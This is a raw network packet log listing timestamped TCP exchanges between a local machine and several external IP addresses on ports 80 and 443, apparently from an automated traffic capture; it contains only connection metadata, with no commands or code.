Apr 23, 2024 22:17:04.090073109 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.090141058 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.090192080 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.090215921 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.090270042 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.090346098 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.090390921 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.090482950 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.090526104 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.090610027 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.090651989 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.090735912 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.090775967 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.090778112 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.090817928 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.090848923 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.090892076 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.091068029 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.091135025 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.091176987 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.091223001 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.091249943 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.091299057 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.091342926 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.091389894 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.091475010 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.091517925 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.091567993 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.091609001 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.091671944 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.091717958 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.091799974 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.091845036 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.091890097 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.091933012 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.092008114 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.092058897 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.092127085 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.092169046 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.092206955 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.092271090 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.092320919 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.092370033 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.092500925 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.092545986 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.092605114 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.092650890 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.092678070 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.092721939 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.092749119 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.092797041 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.092873096 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.092915058 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.092994928 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.093036890 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.093118906 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.093163013 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.093203068 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.093245983 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.093312025 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.093358040 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.093427896 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.093471050 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.093533039 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.093585014 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.093633890 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.093677044 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.093738079 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.093822956 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.093868971 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.093913078 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.093990088 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.094031096 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.094114065 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.094157934 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.094208956 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.094253063 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.094315052 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.094358921 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.094408989 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.094453096 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.094516039 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.094562054 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.094650030 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.094696999 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.094737053 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.094779968 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.094840050 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.094892025 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.094974995 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.095031023 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.095129967 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.095170975 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.095213890 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.095257998 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.095285892 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.095341921 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.095413923 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.095457077 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.095505953 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.095566988 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.095616102 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.095659018 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.095686913 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.095729113 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.095833063 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.095875025 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.095923901 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.095967054 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.096126080 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.096163988 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.096169949 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.096214056 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.096282959 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.096344948 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.096396923 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.096442938 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.096502066 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.096541882 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.096590042 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.096641064 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.096714020 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.096757889 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.096806049 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.096849918 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.096910954 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.096961975 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.097043991 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.097096920 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.097178936 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.097223997 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.097271919 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.097316980 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.097394943 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.097453117 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.097486019 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.097577095 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.097598076 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.097630024 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.097704887 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.097748041 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.097832918 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.097879887 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.097920895 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.097969055 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.098052025 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.098099947 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.098124027 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.098160982 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.098321915 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.098361015 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.098371983 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.098397017 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.098539114 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.098589897 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.098607063 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.098645926 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.098680019 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.098726988 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.098799944 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.098839998 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.098889112 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.098938942 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.098972082 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.099014997 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.099176884 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.099220037 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.099270105 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.099313974 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.099375963 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.099417925 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.099467039 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.099518061 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.099584103 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.099628925 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.099672079 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.099720001 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.099805117 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.099849939 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.099884987 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.099930048 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.100008965 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.100059032 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.100123882 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.100169897 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.100205898 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.100250006 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.100333929 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.100382090 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.100430965 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.100482941 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.100511074 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.100558996 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.100631952 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.100673914 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.100758076 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.100800037 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.100897074 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.100950003 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.100955963 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.100987911 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.101053953 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.101111889 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.101214886 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.101264000 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.101313114 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.101356983 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.101465940 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.101506948 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.101509094 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.101548910 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.101610899 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.101658106 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.101708889 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.101748943 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.101874113 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.101912975 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.101954937 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.101994991 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.102060080 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.102098942 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.102183104 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.102231026 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.102314949 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.102353096 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.102361917 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.102399111 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.103458881 CEST	49736	80	192.168.2.4	189.195.132.134
Apr 23, 2024 22:17:04.251792908 CEST	80	49736	189.195.132.134	192.168.2.4
Apr 23, 2024 22:17:04.469264030 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:04.469362020 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:04.473002911 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:04.473031044 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:04.473273993 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:04.473325014 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:04.473683119 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:04.516127110 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:05.001305103 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:05.001384020 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:05.001473904 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:05.023746014 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:05.023793936 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:05.063754082 CEST	49739	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:05.063802004 CEST	443	49739	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:05.067503929 CEST	49739	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:05.072307110 CEST	49739	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:05.072325945 CEST	443	49739	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:05.536411047 CEST	443	49739	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:05.536633015 CEST	49739	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:05.537436962 CEST	49739	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:05.537450075 CEST	443	49739	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:05.539253950 CEST	49739	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:05.539261103 CEST	443	49739	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:06.388724089 CEST	443	49739	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:06.388797045 CEST	49739	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:06.388799906 CEST	443	49739	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:06.388843060 CEST	49739	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:06.389019966 CEST	49739	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:06.389034986 CEST	443	49739	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:06.396342039 CEST	49740	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:06.396377087 CEST	443	49740	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:06.396477938 CEST	49740	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:06.396754980 CEST	49740	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:06.396769047 CEST	443	49740	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:06.832973957 CEST	443	49740	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:06.833163023 CEST	49740	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:06.835867882 CEST	49740	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:06.835875034 CEST	443	49740	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:06.837766886 CEST	49740	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:06.837773085 CEST	443	49740	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:07.678579092 CEST	443	49740	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:07.678602934 CEST	443	49740	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:07.678670883 CEST	443	49740	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:07.678745985 CEST	49740	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:07.678745985 CEST	49740	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:07.678745985 CEST	49740	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:07.679141045 CEST	49740	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:07.679162025 CEST	443	49740	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:07.764832973 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:07.764863014 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:07.764930010 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:07.765763044 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:07.765774012 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:08.229984999 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:08.230052948 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:08.230652094 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:08.230660915 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:08.232557058 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:08.232573986 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:09.082638025 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:09.082654953 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:09.082710028 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:09.087188005 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:09.653124094 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:09.653142929 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:11.971853018 CEST	49742	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:11.971941948 CEST	443	49742	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:11.972031116 CEST	49742	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:11.972377062 CEST	49742	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:11.972412109 CEST	443	49742	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:12.437764883 CEST	443	49742	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:12.437859058 CEST	49742	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:12.478882074 CEST	49742	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:12.478913069 CEST	443	49742	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:12.485083103 CEST	49742	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:12.485095978 CEST	443	49742	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:12.485181093 CEST	49742	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:12.485213041 CEST	443	49742	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:13.047297955 CEST	49743	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:17:13.047401905 CEST	443	49743	172.67.139.220	192.168.2.4
Apr 23, 2024 22:17:13.047498941 CEST	49743	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:17:13.142920017 CEST	49743	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:17:13.142978907 CEST	443	49743	172.67.139.220	192.168.2.4
Apr 23, 2024 22:17:13.252235889 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:13.252270937 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:13.252357960 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:13.252613068 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:13.252649069 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:13.362062931 CEST	443	49743	172.67.139.220	192.168.2.4
Apr 23, 2024 22:17:13.362169981 CEST	49743	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:17:13.369874001 CEST	49743	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:17:13.369915962 CEST	443	49743	172.67.139.220	192.168.2.4
Apr 23, 2024 22:17:13.370140076 CEST	443	49743	172.67.139.220	192.168.2.4
Apr 23, 2024 22:17:13.370217085 CEST	49743	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:17:13.372625113 CEST	49743	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:17:13.376238108 CEST	443	49742	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:13.376298904 CEST	443	49742	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:13.376326084 CEST	49742	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:13.376390934 CEST	49742	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:13.380325079 CEST	49742	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:13.380366087 CEST	443	49742	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:13.420125008 CEST	443	49743	172.67.139.220	192.168.2.4
Apr 23, 2024 22:17:13.688389063 CEST	443	49744	95.217.9.149	192.168.2.4
